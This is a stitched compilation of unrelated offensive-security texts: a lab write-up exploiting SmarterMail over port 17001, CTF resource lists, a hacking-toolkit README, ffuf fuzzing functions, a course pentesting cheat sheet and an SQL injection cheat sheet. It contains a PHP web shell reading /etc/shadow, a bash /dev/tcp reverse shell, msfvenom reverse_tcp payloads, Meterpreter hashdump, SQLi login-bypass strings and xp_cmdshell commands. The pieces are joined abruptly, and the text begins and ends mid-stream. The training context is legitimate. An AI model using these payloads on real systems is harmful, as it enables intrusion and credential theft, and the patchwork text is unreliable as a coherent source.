http://192.168.132.65:9998/reports/ ==> DIRECTORY: http://192.168.132.65:9998/scripts/ ==> DIRECTORY: http://192.168.132.65:9998/Scripts/ ==> DIRECTORY: http://192.168.132.65:9998/services/ ==> DIRECTORY: http://192.168.132.65:9998/Services/ + http://192.168.132.65:9998/views (CODE:200|SIZE:0) ``` ```bash nikto -h $TARGET -p $PORT -T 2 -Format txt -o scans/$NAME-nikto-misconfig # output - Nikto v2.1.6 --------------------------------------------------------------------------- + Target IP: 192.168.132.65 + Target Hostname: 192.168.132.65 + Target Port: 9998 + Start Time: 2021-06-30 17:07:24 (GMT-4) --------------------------------------------------------------------------- + Server: Microsoft-IIS/10.0 + The anti-clickjacking X-Frame-Options header is not present. + The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS + The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type + Root page / redirects to: /interface/root + Uncommon header 'request-id' found, with contents: fda78b2b-5d4c-4689-87d8-eb07df0f5d9d + 1601 requests: 0 error(s) and 4 item(s) reported on remote host + End Time: 2021-06-30 17:10:03 (GMT-4) (159 seconds) --------------------------------------------------------------------------- + 1 host(s) tested ``` The target is not vulnerable to Shell Shock via HTTP. ```bash sudo nmap $TARGET -p80 --script http-shellshock -oN scans/$NAME-nmap-script-http-shellshock # output NSTR. ``` ### RPC ```bash rpcclient -U '' $TARGET # output Enter WORKGROUP\'s password: Cannot connect to server. Error was NT_STATUS_LOGON_FAILURE ``` ### NetBIOS ```bash nbtscan $TARGET # output Doing NBT name scan for addresses from 192.168.132.65 IP address NetBIOS Name Server User MAC address ------------------------------------------------------------------------------ ``` ### SMB ```bash smbclient -L $TARGET # output Enter WORKGROUP\victor's password: session setup failed: NT_STATUS_ACCESS_DENIED ``` ```bash smbmap -H $TARGET # output [!] Authentication error on 192.168.132.65 ``` The target is not vulnerable to EternalBlue. ```bash # check if vulnerable to EternalBlue sudo nmap $TARGET -p445 --script smb-vuln-ms17-010 -oN scans/$NAME-nmap-scripts-smb-vuln-ms17-010 # output NSTR ``` The target is not vulnerable to SambaCry. ```bash # check if vulnerable to SambaCry sudo nmap $TARGET -p445 --script smb-vuln-cve-2017-7494 --script-args smb-vuln-cve-2017-7494.check-version -oN scans/$NAME-nmap-smb-vuln-cve-2017-7494 # output NSTR ``` ### TCP Port 9998 This port exposed the admin console to SmarterMail. ```bash telnet 192.168.132.65 9998 Trying 192.168.132.65... Connected to 192.168.132.65. Escape character is '^]'. helo # output HTTP/1.1 400 Bad Request Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Wed, 30 Jun 2021 04:30:20 GMT Connection: close Content-Length: 326 <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"> <HTML><HEAD><TITLE>Bad Request</TITLE> <META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD> <BODY><h2>Bad Request - Invalid Verb</h2> <hr><p>HTTP Error 400. The request verb is invalid.</p> </BODY></HTML> Connection closed by foreign host. ``` ### TCP Port 17001 This port exposes .NET remoting endpoint (???). ```bash telnet 192.168.132.65 17001 Trying 192.168.132.65... Connected to 192.168.132.65. Escape character is '^]'. helo # output .NETSystem.Runtime.Remoting.RemotingException: Tcp channel protocol violation: expecting preamble. at System.Runtime.Remoting.Channels.Tcp.TcpSocketHandler.ReadAndMatchPreamble() at System.Runtime.Remoting.Channels.Tcp.TcpSocketHandler.ReadVersionAndOperation(UInt16& operation) at System.Runtime.Remoting.Channels.Tcp.TcpServerSocketHandler.ReadHeaders() at System.Runtime.Remoting.Channels.Tcp.TcpServerTransportSink.ServiceRequest(Object state) at System.Runtime.Remoting.Channels.SocketHandler.ProcessRequestNow()Connection closed by foreign host. ``` ## OS ### Nmap OS Discovery Scan ```bash sudo nmap $TARGET -O -oN scans/$NAME-nmap-os # output Running (JUST GUESSING): Microsoft Windows XP|7 (89%) Aggressive OS guesses: Microsoft Windows XP SP3 (89%), Microsoft Windows XP SP2 (86%), Microsoft Windows 7 (85%) No exact OS matches for host (test conditions non-ideal). ``` ### Nmap OS Discovery Scan via SMB ```bash sudo nmap $TARGET -p445 --script smb-os-discovery -oN scans/$NAME-nmap-os-smb # output NSTR ``` # Exploit ## Password Guessing ### Default Credentials This did not work (the target requires a domain name for the username/email address). ```bash # SmarterMail # admin:admin # output That domain was not found. Double check your email address. ``` ## CVE-2019-7214 Online research of TCP port 17001 lead to information about CVE-2019-7214 (RCE vulnerability) and EDB-ID-49216 (exploit POC). Vulnerability description: SmarterTools SmarterMail 16.x before build 6985 allows deserialization of untrusted data. An unauthenticated attacker could run commands on the server when port 17001 was remotely accessible. This port is not accessible remotely by default after applying the Build 6985 patch. ### EDB-ID-49216 This did not work until I used TCP port 17001 as both my target and remote port. ```bash searchsploit SmarterMail mkdir edb-id-49216 cd edb-id-49216 searchsploit -x 49216 vim 49216.py # edit variables: pyenv global 3.9.5 sudo nc -nvlp 17001 python 49216.py ``` ## EDB-ID-48580 I did not try this exploit as it requires valid credentials. ```bash searchsploit SmarterMail mkdir edb-id-48580 cd edb-id-48580 searchsploit -x 48580 vim 48580 # realized must supply valid username/password ``` # Explore NSTR # Escalate NSTR # Lessons Learned * TCP port 17001 - SmarterTools SmarterMail 16.x before build 6985 allows deserialization of untrusted data. An unauthenticated attacker could run commands on the server when port 17001 was remotely accessible. This port is not accessible remotely by default after applying the Build 6985 patch. References: [CVE-2019-7214] (https://www.speedguide.net/port.php?port=17001). * Not having the email domain for the target prevented me from using Hydra to brute force the admin console. * When your reverse shell fails, try using the targeted port as the port the victim calls back (target = 17001, rport = 17001). * Thoroughly research where the admin console is for a web app. Finding "/about/checkup" online allowed me to confirm the build version (6919; everything 6985 and below is vulnerable) and vulnerability (CVE-2019-7214). * Use `nmap -A` to scan a port you want more info about. * Use `curl -L http:\\10.11.12.13` to confirm information about a port. Doing this for Algernon would have revealed the vulnerable build version (6919) in the HTTP header reply.
# SCS Cyber Team Resources This is the repository that will store the UGA SCS Cyber Team information, resources, and challenges. The Resources section is broken up into the General and CTF folders: **General**: Resources that contain general cyber security information and other interesting articles **CTF**: Resources that contain technical information useful when training for CTF competitions ## Where to get started? Let's be honest, who doesn't want to learn how to hack. It is a powerful skill that makes you feel like a BA, but getting started can be hard. It seems like there is a million and a half things to learn, and you would be right there are a lot of things to learn. However, like anything in life if you want to get it done you just need to start. Here are a few websites that many others and I have found help us take that first leap of faith. This list will be updated periodically. ### YouTube * [IppSec](https://www.youtube.com/channel/UCa6eh7gCkpPo5XXUDfygQQA) (HackTheBox walkthroughs) * [LiveOverflow](https://www.youtube.com/channel/UClcE-kVhqyiHCcjYwcpfj9w) (Exploitation tutorials and general investigations into security) * [John Hammond](https://www.youtube.com/channel/UCVeW9qkBjo3zosnqUbG7CFw) (CTF walkthroughs) ### Websites * [OverTheWire](https://overthewire.org/wargames/) (Learn linux command line) * [PicoCTF](https://picoctf.com/) (Year round beginner friendly CTF) <-- this is where I started * [Exploit.education](https://exploit.education/) (Learn about reverse engineering and software hacking) * [TryHackMe](https://tryhackme.com/) (Learn about tools and specific exploits with these hacktivities) * [Root Me](https://www.root-me.org/?lang=en) (General cyber oriented challenges) * [Hacker 101](https://www.hacker101.com/) (Learn about web exploitation psst... use [this](https://owasp.org/www-project-top-ten/)) * [Open Security Training](http://www.opensecuritytraining.info/) (Lecture videos about cyber topics <sub><sub><sub>who needs college</sub></sub></sub>) * [Microcrruption](https://microcorruption.com/) (Learn how to reverse engineer assembly code) * [HackTheBox](https://www.hackthebox.eu/) (Attack machines on HTB's network)
_ __ ___ ___ ___ ___ | | \ \ / _ \ / _ \ / _ \ / _ \ ___ __ _ __| |_ __ __ _ \ \ | | | | | | | (_) | (_) | / __|/ _` |/ _` | '__/ _` | > > | | | | | | |\__, |> _ < \__ \ (_| | (_| | | | (_| | / / | |_| | |_| | / /| (_) | |___/\__,_|\__,_|_| \__,_| /_/ \___/ \___/ /_/ \___/ amirsadra 0098 >>>>>>>>>> instagram: @sdr_vob & @36sdr telegram: @sdr_vob " /> </p> <div align="center"> <a href="https://github.com/amirsadra0098/bug_web3"> <img src="https://img.shields.io/badge/release-1.0-red.svg?longCache=true&style=for-the-badge" alt="build status" /> </a> <a href="https://www.python.org/"> <img src="https://img.shields.io/badge/Python-3.8-green.svg?longCache=true&style=for-the-badge" alt="build status" /> </a> <a href="https://www.jetbrains.com/pycharm/download/#section=windows"> <img src="http://img.shields.io/badge/PyCharm-💻-url?color=orange&style=for-the-badge" alt="build status" /> </a> </div> <br /> **ONLY DOWNLOAD IT HERE, DO NOT TRUST OTHER PLACES.** Written by: @sdr_vob (https://github.com/amirsadra0098) "AMIRSADRA" _____ _____ _____ _____ _____ /\ \ /\ \ /\ \ /\ \ /\ \ /::\ \ /::\ \ /::\ \ /::\ \ /::\ \ /::::\ \ /::::\ \ /::::\ \ /::::\ \ /::::\ \ /::::::\ \ /::::::\ \ /::::::\ \ /::::::\ \ /::::::\ \ /:::/\:::\ \ /:::/\:::\ \ /:::/\:::\ \ /:::/\:::\ \ /:::/\:::\ \ /:::/__\:::\ \ /:::/__\:::\ \ /:::/ \:::\ \ /:::/__\:::\ \ /:::/__\:::\ \ \:::\ \:::\ \ /::::\ \:::\ \ /:::/ \:::\ \ /::::\ \:::\ \ /::::\ \:::\ \ ___\:::\ \:::\ \ /::::::\ \:::\ \ /:::/ / \:::\ \ /::::::\ \:::\ \ /::::::\ \:::\ \ /\ \:::\ \:::\ \ /:::/\:::\ \:::\ \ /:::/ / \:::\ ___\ /:::/\:::\ \:::\____\ /:::/\:::\ \:::\ \ /::\ \:::\ \:::\____\/:::/ \:::\ \:::\____\/:::/____/ \:::| |/:::/ \:::\ \:::| |/:::/ \:::\ \:::\____\ \:::\ \:::\ \::/ /\::/ \:::\ /:::/ /\:::\ \ /:::|____|\::/ |::::\ /:::|____|\::/ \:::\ /:::/ / \:::\ \:::\ \/____/ \/____/ \:::\/:::/ / \:::\ \ /:::/ / \/____|:::::\/:::/ / \/____/ \:::\/:::/ / \:::\ \:::\ \ \::::::/ / \:::\ \ /:::/ / |:::::::::/ / \::::::/ / \:::\ \:::\____\ \::::/ / \:::\ /:::/ / |::|\::::/ / \::::/ / \:::\ /:::/ / /:::/ / \:::\ /:::/ / |::| \::/____/ /:::/ / \:::\/:::/ / /:::/ / \:::\/:::/ / |::| ~| /:::/ / \::::::/ / /:::/ / \::::::/ / |::| | /:::/ / \::::/ / /:::/ / \::::/ / \::| | /:::/ / \::/ / \::/ / \::/____/ \:| | \::/ / \/____/ \/____/ ~~ \|___| \/____/ 0098 ## 🔖 About We have created this tool that many new people come in the world of pen testing & Ethical Hacking. They do not know much about the basics. So this tool has been created to help them. I hope you share this tool with your new friends. [ **DISCLAIMER** ] **:** This is only for testing purposes and can only be used where strict consent has been given. Do not use this for illegal purposes, period. # 📃 Features #### [ Menu ] : * Changing Your [ IP Mac Network Mask Broadcast ] Address Wlan0 And Eth0 * Sniffing & Spoofing Tools * Basic Cheatsheet Nmap * Open Sources Tools * Password Tools * Web Hacking * Exploitation Tools ### Changing Your [ Ip,Mac,Mask,Broadcast ] Wlan0 And Eth0 : * Changing Your Ip Address Wlan0 And Eth0 * Spoofing Your Mac Address Wlan0 And Eth0 * Changing Your Network Mask And Broadcast Address Wlan0 And Eth0 ### Sniffing & Spoofing Tools : * Mail Spoofing ### Basic Cheatsheet Nmap : * Nmap Target Selection * Nmap Port Selection * Nmap Port Scan types * Service And OS Detection * Most Useful Nmap Cmd ### [ Nmap Target Selection ] : * Scan a single IP * Scan a host Or Website * Scan a Range Of IPs * Scan a subnet * Scan IP List ### [ Nmap Port Selection ] : * Scan Single Port * Scan 100 Most Common Port (Fast) * Scan All (65535) Ports ### [ Nmap Port Scan types ] : * Scan Using TCP Connect * Scan Using TCP Syn Scan (Default) * Scan UDP Ports * Scan Selected - Ignore Discovery ### [ Service And OS Detection ] : * Detect OS And Services * Standard service detection * Website And IP OS Discovery ### [ Most Useful Nmap Cmd ] : * website Host Discovery * website Os Discovery * website Port Discovery * website Port Range Discovery * ping Scan The Network-listing Machines ### Password Tools : * Hash Identifier * Download Rockyou.txt ### Open Sources Tools : * Website Find With Keyword * Single Mail Scan Social Media * Multiple Mail Scan Social Media * Nick Name To Mail Found * Multiple Nick Name To Mail Found * Single Phone Number Found * Find Account By Target Name ### WEB HACKING : * [ ! ]----- **Auto** -------[ ! ] * Scan Website Traceroute * Whatweb Lookup * Whois Lookup * Website Copier On Offline Browser * Scan Website With J00mscan * Robots.txt Scanner * Dns Lookup * Etherape = Graphical Network Monitor (Root) * Clickjacking Test X Frame Options Header * Link Grabber * Ip Location Finder * Website Scan On Blue Eye * Shodan Lookup * Website Scan On Cmseek * Website Xss Toolkit * Website Deep Information Gathering Using Netcraft & Dmitry * Website Scan On Red_hawk * Website Test Finalrecon * Admin Scan Website * [ ! ]----- **Manual** -------[ ! ] * droopescan ### [ Website Xss Toolkit ] : * Xss Test With Xsstrike * Xss Attack With Xspear * BruteXSS ### Exploitation Tools : * ATSCAN * sqlmap * fsociety * Commix * Bettercap ## 🎨 Tested on * Kali linux * Parrot-Sec # ⏳ Installation **make sure your apt-get isn't broken before you run this** **RUN THIS AS ROOT** ```bash $ git clone https://github.com/amirsadra0098/bug_web3.git $ cd LBFH $ chmod +x setup.py $ python3 setup.py $ python3 LBFH.py ``` # 📸 SCREENSHOT ![](./tools/images/screenshot.png)
.................. I use this function in my `.zshrc` file ## Fuzz with stdin ``` fuzz-in() { strip=$(echo $1|sed 's/:\/\///') strip=$(echo $strip| sed 's/\\/\-/g') strip=$(echo $strip| sed 's/\//-/g') ffuf -u $1 -t 10 -o $strip.fuzz.txt -of md -p 1 "${@:2}" -w - echo "cat $strip.fuzz.txt" } ``` `cat ~/tools/custom/wordlist-unique.txt | fuzz-in https://example.com/FUZZ -t 10 -mc all` OR `cat ~/tools/custom/wordlist-ext.txt | fuzz-in https://example.com/FUZZ -e php,log -t 100 -mc all -fw 40` This will automatically save `example.com.fuzz.txt` output file. ## Multihost fuzzing for quickhits ``` multifuzz() { while read p; do strip=$(echo $p|sed 's/:\/\///') strip=$(echo $strip| sed 's/\\/\-/g') echo "Fuzzing: $p ($strip)" fuzz ~/tools/SecLists/Discovery/Web-Content/quickhits.txt $p/FUZZ -t 10 -p "0.1-0.2" -se > $strip.quickhits.txt echo "Sleeping for 1m" sleep 1m done < $1 } ``` `$ multifuzz /path/to/servers.httprobe.txt` +++++++++++++++++++++++++++++++++++++++++ +++++++++++++++++++++++++++++++++++++++++ h7 – Cheat sheet and web fuzzing This is the seventh and final homework blog assignment from Tero Karvinen’s penetration testing course. a) Web fuzzing with ffuf Ffuf is a web fuzzing tool written in go. I cloned the git repo, and compiled the code: Screenshot_2020-05-13_09-00-46 No gcc-style output on the build process, probably needs some flags, but a small reassurance on build success would be nice. The process is fast though, I used the ‘time’ command to get some output- I have juiceshop running on my Kali VM’s localhost and a “fresh” Ubuntu 14.04 Metasploitable 3 running in VirtualBox. Btw not giving MS3 full Internet access makes it boot awfully slow. I installed it with vagrant, and there is a Windows version as well, but it is big as they come, and downloading it takes ages… On Metasploitable 3, there is a phpmyadmin login screen available: Screenshot_2020-05-13_09-17-39 I have Foxyproxy running on the Firefox, and I’m using mitmproxy to watch the traffic. Check Tero’s installation instructions of how to set those up! I’ll first examine the POST data when login is attempted. Screenshot_2020-05-13_09-35-12 Lets test the fuzzer then on this form. I’ll try admin:<password> first, and grab a classic list of passwords. $ ./ffuf -w /usr/share/wordlists/rockyou.txt \ -d "pma_username=admin\&pma_password=FUZZ" \ -u http://msp3/phpmyadmin/index.php I fail to set up mitmproxy, so I turn to wireshark. Here is what the traffic should look like after sending normal login via web browser: Screenshot_2020-05-13_15-54-37 And here is what goes after the command: Screenshot_2020-05-13_15-57-33 Something has to be done. Note the User-Agent 🙂 What I remember from class discussion, the Content-Type has to be set. That goes into POST request header (-H). The ffuf syntax is very close to curl, so there is some familiarity here. $ ./ffuf -w /usr/share/wordlists/rockyou.txt \ -H "Content-Type: application/x-www-form-urlencoded" \ -d "pma_username=admin\&pma_password=FUZZ" \ -u http://msp3/phpmyadmin/index.php Getting closer, that & escape character is apparently not needed in username. Screenshot_2020-05-13_16-03-37 ./ffuf -w /usr/share/wordlists/rockyou.txt:PASS \ -H "Content-Type: application/x-www-form-urlencoded" \ -d "pma_username=root& \ pma_password=FUZZ& \ server=1& \ token=22fdac6e41393914b6286477edecd249" \ -u http://msp3/phpmyadmin/index.php Now the traffic looks right. I would like to fuzz usernames, so lets plug a list there too. I’ll try to format the syntax to be descriptive: $ ./ffuf -u http://msp3/phpmyadmin/index.php \ -w /usr/share/wordlists/metasploit/unix_users.txt:USER \ -w /usr/share/wordlists/rockyou.txt:PASS \ -H "Content-Type: application/x-www-form-urlencoded" \ -d "pma_username=USER& \ pma_password=PASS& \ server=1& \ token=22fdac6e41393914b6286477edecd249" \ -fw 1,877 Also filtered out 1 and 877 word responses, but thats a lot of combinations… and should I follow redirects? I have to test with a setup that I know will succeed. phpMyAdmin uses ‘root’ as the access-all-areas dude with an empty default password. I’ll set up a password that is guaranteed to be found, and test it. But Metasploitable3 ub1404 doesn’t want to co-operate. I get errors trying to configure mysql… Bah. I’ll make my own to have full control, and learn something new. Web login form with Flask One of my classmates, Nikita Ponomarev, demostrated how a simple login website was easy to code with Python and Flask. Two short tutorials, and I have a website running! https://realpython.com/introduction-to-flask-part-1-setting-up-a-static-site/ https://realpython.com/introduction-to-flask-part-2-creating-a-login-page/ Screenshot_2020-05-13_17-31-20 That debugger that is on by default is pure gold. Flask reminds me of Spring Boot and thymeleaf I learned on a course this spring, but this is in Python. Not in JavaTheLanguageOfLongMethodNamesAndCamelCase implements BigLibrariesIHaveNoClueWhatTheyReallyDo. I’ll put a easy to guess credentials in, and check how the communications go with wireshark first. It turns out that I need that header defined. run the fuzzer: ./ffuf -u http://localhost:5000/login \ -w /usr/share/wordlists/metasploit/unix_users.txt:USER \ -w /usr/share/dict/wordlist-probable.txt:PASS \ -H "Content-Type: application/x-www-form-urlencoded" \ -d "username=USER& \ password=PASS" \ -fw 113 Ffuf is picky now: I have to provide -X POST flags, earlier they went in without. But finally the magic starts to happen. The error page has 113 words, so those answers are filtered out. This is too much combinations to try, and my website freezes and errors start to accumulate. I’ll go with the known username ‘admin’ to get results. ./ffuf -u http://localhost:5000/login \ -w /usr/share/dict/wordlist-probable.txt \ -H "Content-Type: application/x-www-form-urlencoded" \ -X POST -d "username=admin&password=FUZZ" \ -fw 113 I was constantly checking data ins and outs with Wireshark to get this working. The tool is not that easy to use for the first time. But it is a good one for web fuzzing! Screenshot_2020-05-13_18-17-05 Gotcha! One different result from another password needs a closer look later… b) Construct a personal cheat sheet for pentesting # tqre's cheat sheet for pentesting: ## Recon: Fast scans for LANs: nmap -v $IP -oA OUTFILE grep Up $FILE.gnmap | py -x 'x.split()[1]' > IPFILE Version scan from a list in IPFILE: nmap -sV $IP -iL IPFILE -oA OUTFILE Extensive scans, top1000ports, all ports: nmap -A $IP -oA $OUTFILE nmap -A -p0- $IP -oA $OUTFILE Mitmproxy basics: mitmproxy -p PORT 'i' to intercept '~q' pattern for all requests 'a' accept intercept -> forwards the request Capture all traffic from an interface: sudo tcpdump -i INTERFACE -w FILE.pcap Tshark monitor: sudo tshark -i INTERFACE ## Enumeration/fuzzing: Web server directories: gobuster dir -u $IP -w WORDLIST -o OUTFILE Linux LinEnum script (add -t for thorough tests): ./LinEnum.sh -r NAME Ffuf web fuzzer: ./ffuf -u http://localhost:5000/login \ -w /usr/share/wordlists/metasploit/unix_users.txt:USER \ -w /usr/share/dict/wordlist-probable.txt:PASS \ -H "Content-Type: application/x-www-form-urlencoded" \ -d "username=USER&password=PASS" \ -fw 113 Hydra: hydra -V -l LOGIN -p PASSWORD TARGET -t 64 PROTOCOL -L and -P for login/passwords from files ## Volatility: OS profile: vol.py -f dump.raw imageinfo vol.py --profile=? -f dump.raw PLUGIN Plugins: pstree dumpfiles memdump cmdline Additional flags: -S summary.txt -p process_number -D --dumpdir ## Password cracking: Hashcat: hashcat -a 0 -m HASHTYPE -o OUTFILE HASHFILE DICTIONARY hashcat -a 1 -m HASHTYPE -o OUTFILE HASHFILE DICT1 DICT2 hashcat -a 3 -m HASHTYPE -o OUTFILE -r RULESFILE HASHFILE Create dictionaries with princeprocessor: pp --pw-min=# --pw-max=# --elem-cnt-max=# DICT > NEWDICT ## PHP: Inject general function: <?php system($_GET['cmd']);?> Single commands: <?php shell_exec('cat /etc/shadow');?> Use the injected function via browser: http://example.com/index.php?cmd=whoami Netcat listener: nc -lnvp PORT Reverse shell via browser to nc listener: cmd=bash -c 'bash -i >%26 /dev/tcp/IP-ADDRESS/PORT 0>%261' ## File upload with curl curl --data-binary @FILE DEST:PORT/FILENAME ## Python shell import pty;pty.spawn('/bin/bash## MySQL basic usage mysql -l LOGIN -pPASSWORD -e COMMAND commands: 'show databases' 'use DATABASE;show tables' 'use DATABASE;select * from TABLE' ## SSH Local port forwarding Opens local_port to forward_ip:port, connecting via_host ssh -L local_port:forward_ip:port via_host Open a port 8080 here to connect to target.com'salhost:1234 ssh -L 8080:localhost:1234 [email protected] c) Peer review Here are some good catches and useful commands from classmates: Nikita Ponomarev: https://nikitushka.github.io/ Special props to Nikita for tipping about Flask usage for fuzzing tests! Ghidra binary decompiler (cincan run): cincan run cincan/ghidra-decompiler decompile PROGRAM Hashcat benchmark: hashcat -b Wfuzz web application fuzzer: wfuzz -w WORDLIST -d "username=admin&password=FUZZ" IPADDRESS:PORT Caius Juvonen: https://caiusinfo.data.blog/ Medusa login fuzzer: medusa -h HOSTIP -u USERNAME -P PWDDICT -M ssh -t 100 -O OUTFILE -t = tries/second Nmap treat hosts online '-Pn': nmap -Pn -A -oA OUTFILE TARGETIP Nikto web server scanner: https://github.com/sullo/nikto nikto -Display 1234V -Tuning 6x -o niktoskan.html -Format htm -host 10.10.10.165 -Tuning 6x = disable DoS Arttu Talvio: https://arttuslinux.wordpress.com/ Dirbuster: dirb IPADDRESS Wordpress site enumeration: wpscan -v --url IPADDRESS SMB fileserver protocol mapping and client usage: smbmap -H IP ADDRESS smbclient //IPADDRESS/DIR Niko Heiskanen: https://heiskane.github.io/ PHP shell payload with msfvenom: msfvenom -p METERPRETER_DIR/reverse_tcp LHOST=<local> LPORT=<port> -f raw > shell.php inspect METERPRETER_DIR for different available payloads Meterpreter process migration (via metasploit): meterpreter > ps meterpreter > migrate PID meterpreter > run exploit/os/example/hashdump d) Recapitulation Going through all the homework… added some missing references and spelling errors. I seem to be a heavy wikipedia user, at least when learning something new. The work I did on HTB machine was really rewarding in the end. I covered quite a lot of ground. Some clueless ponderings are a bit embarrassing to read, but finding out how things really work is the only way to learn properly. Next HTB’s ones will probably be easier… e) Bonus: Flags from HTB I got finally in to OpenAdmin, and rooting it was easy after the user flag. The box had retired, I noticed it when submitting the user flag, so didn’t get HTB points for this. But lots of learned new things and tweaks 🙂 Screenshot_2020-05-13_08-51-00 The process altogether is reported in these 4 blog posts. I removed the password protection due to retired box. https://tqre.wordpress.com/2020/04/12/h2-password-protected-part/ https://tqre.wordpress.com/2020/04/19/pentesting-h3-htb-openadmin/ https://tqre.wordpress.com/2020/04/27/htb-openadmin-web-shell/ https://tqre.wordpress.com/2020/05/12/htb-openadmin-has-retired-user-flag-found-at-least/
# Notes > March 11, 2022 - Didn't actually "solve" crypto. The encryption algorithms weren't that computationally expensive, so I just bruteforced them - Credit to [CryptoCat's](https://github.com/Crypto-Cat/CTF/blob/main/HackTheBox/pwn/bat_computer/batcomputer.py) bat\_computer solution for teaching me how to set it up. I just modified the script to get it - Note to self: Improve your web methodology
# SQL Injection Type: ## In-band SQLi (Classic SQLi): In-band SQL Injection is the most common and easy-to-exploit of SQL Injection attacks. In-band SQL Injection occurs when an attacker is able to use the same communication channel to both launch the attack and gather results. The two most common types of in-band SQL Injection are Error-based SQLi and Union-based SQLi. ## Error-based SQLi: Error-based SQLi is an in-band SQL Injection technique that relies on error messages thrown by the database server to obtain information about the structure of the database. In some cases, error-based SQL injection alone is enough for an attacker to enumerate an entire database. ## Union-based SQLi: Union-based SQLi is an in-band SQL injection technique that leverages the UNION SQL operator to combine the results of two or more SELECT statements into a single result which is then returned as part of the HTTP response. ## Inferential SQLi (Blind SQLi): Inferential SQL Injection, unlike in-band SQLi, may take longer for an attacker to exploit, however, it is just as dangerous as any other form of SQL Injection. In an inferential SQLi attack, no data is actually transferred via the web application and the attacker would not be able to see the result of an attack in-band (which is why such attacks are commonly referred to as “blind SQL Injection attacks”). Instead, an attacker is able to reconstruct the database structure by sending payloads, observing the web application’s response and the resulting behavior of the database server. The two types of inferential SQL Injection are Blind-boolean-based SQLi and Blind-time-based SQLi. ## Boolean-based (content-based) Blind SQLi: Boolean-based SQL Injection is an inferential SQL Injection technique that relies on sending an SQL query to the database which forces the application to return a different result depending on whether the query returns a TRUE or FALSE result. Depending on the result, the content within the HTTP response will change, or remain the same. This allows an attacker to infer if the payload used returned true or false, even though no data from the database is returned. ## Time-based Blind SQLi: Time-based SQL Injection is an inferential SQL Injection technique that relies on sending an SQL query to the database which forces the database to wait for a specified amount of time (in seconds) before responding. The response time will indicate to the attacker whether the result of the query is TRUE or FALSE. epending on the result, an HTTP response will be returned with a delay, or returned immediately. This allows an attacker to infer if the payload used returned true or false, even though no data from the database is returned. ## Out-of-band SQLi: Out-of-band SQL Injection is not very common, mostly because it depends on features being enabled on the database server being used by the web application. Out-of-band SQL Injection occurs when an attacker is unable to use the same channel to launch the attack and gather results. Out-of-band techniques, offer an attacker an alternative to inferential time-based techniques, especially if the server responses are not very stable (making an inferential time-based attack unreliable). ## Voice Based Sql Injection: It is a sql injection attack method that can be applied in applications that provide access to databases with voice command. An attacker could pull information from the database by sending sql queries with sound. # SQL Injection Vulnerability Scanner Tool’s: ``` SQLMap — Automatic SQL Injection And Database Takeover Tool jSQL Injection — Java Tool For Automatic SQL Database Injection BBQSQL — A Blind SQL-Injection Exploitation Tool NoSQLMap — Automated NoSQL Database Pwnage Whitewidow — SQL Vulnerability Scanner DSSS — Damn Small SQLi Scanner explo — Human And Machine Readable Web Vulnerability Testing Format Blind-Sql-Bitshifting — Blind SQL-Injection via Bitshifting Leviathan — Wide Range Mass Audit Toolkit Blisqy — Exploit Time-based blind-SQL-injection in HTTP-Headers (MySQL/MariaDB) ``` # Test: ## Any Field ``` ' " ``` ## Login Username: ``` " or ""=" ``` Password: ``` " or ""=" ``` Result: ``` SELECT * FROM Users WHERE Name ="" or ""="" AND Pass ="" or ""="" ``` The SQL above is valid and will return all rows from the "Users" table, since OR ""="" is always TRUE. ## Other tests ``` ' or 1=1-- ' and 1=1-- ' or 1=1;-- ' and 1=1;-- 'OR 1 OR' 105 OR 1=1 ``` # SQLi https://portswigger.net/support/using-burp-to-test-for-the-owasp-top-ten https://portswigger.net/support/using-burp-to-detect-sql-injection-flaws https://portswigger.net/web-security/sql-injection https://www.netsparker.com/blog/web-security/sql-injection-cheat-sheet/#SyntaxBasicAttacks ### Test: | Syntax | Description| |--------|------------| | SELECT @@version | Version Info. for Microsoft, MySQL | | SELECT * FROM v$version | Version Info. for Oracle | | SELECT version() | Version Info. for PostgreSQL | | ' UNION SELECT @@version-- | Union Attack To Get Version Info. | | SELECT * FROM information_schema.tables | Show Tables | |-- | everything after is a comment| |' | to test if it will respond to the injection| |???| Divide by zero to get error message| |'; waitfor delay('0:0:20')--|use a time delay to verify SQLi works when there is no output| |admin' -- | login bypass | |admin' # | login bypass | |admin'/* | login bypass | |' OR 1=1-- | login bypass | |OR 1=1 | login bypass | |OR 1=2, and | login bypass | |' or 1=1-- | login bypass | |' or 1=1# | login bypass | |' or 1=1/* | login bypass | |') or '1'='1-- | login bypass | |') or ('1'='1-- | login bypass | |a' or 1=1-- | ' for password| |.... | login bypass | | ' UNION SELECT 1, 'anotheruser', 'doesnt matter', 1--| Login as different user | ### Strings without Quotes In MySQL easy way to generate hex representations of strings use this; | Version | HEX | Results | |---------|-----|---------| | MySQL | SELECT CONCAT(CHAR(75),CHAR(76),CHAR(77)) | This will return 'KLM' | |SQL Server |SELECT CHAR(75)+CHAR(76)+CHAR(77) | This will return 'KLM' | | Oracle | SELECT CHR(75)||CHR(76)||CHR(77) | This will return 'KLM' | | PostgreSQL |SELECT (CHaR(75)||CHaR(76)||CHaR(77)) | This will return 'KLM' | | MySQL | SELECT CONCAT('0x',HEX('c:\\boot.ini'))| This will show the content of c:\boot.ini | | MySQL | SELECT LOAD_FILE(0x633A5C626F6F742E696E69) | This will show the content of c:\boot.ini | | ALL | '; insert into users values( 1, 'hax0r', 'coolpass', 9 )/* | insert user: haxor with the password: coolpass | | MySQL | INSERT INTO members(id, user, pass) VALUES(1, ''+SUBSTRING(@@version,1,10) ,10) | | | SQL Server | bcp "SELECT * FROM test..foo" queryout c:\inetpub\wwwroot\runcommand.asp -c -Slocalhost -Usa -Pfoobar | Write text file. Login Credentials are required to use this function. | | SQL Server | EXEC master.dbo.xp_cmdshell 'cmd.exe dir c:' | Executing system commands, xp_cmdshell | | SQL Server | EXEC master.dbo.xp_cmdshell 'ping ' | Simple ping check (configure your firewall or sniffer to identify request before launch it) | | SQL Server | master..sysmessages | Error Messages | | SQL Server | master..sysservers | Linked Services | |SQL Server 2000 | masters..sysxlogins | Crackable Passwords | |SQL Server 2005 | sys.sql_logins | Crackable Passwords | | SQL Server| exec master..xp_cmdshell 'dir' | | | SQL Server | xp_regaddmultistring | | | SQL Server | xp_regdeletekey | | | SQL Server | xp_regdeletevalue | | | SQL Server | xp_regenumkeys | 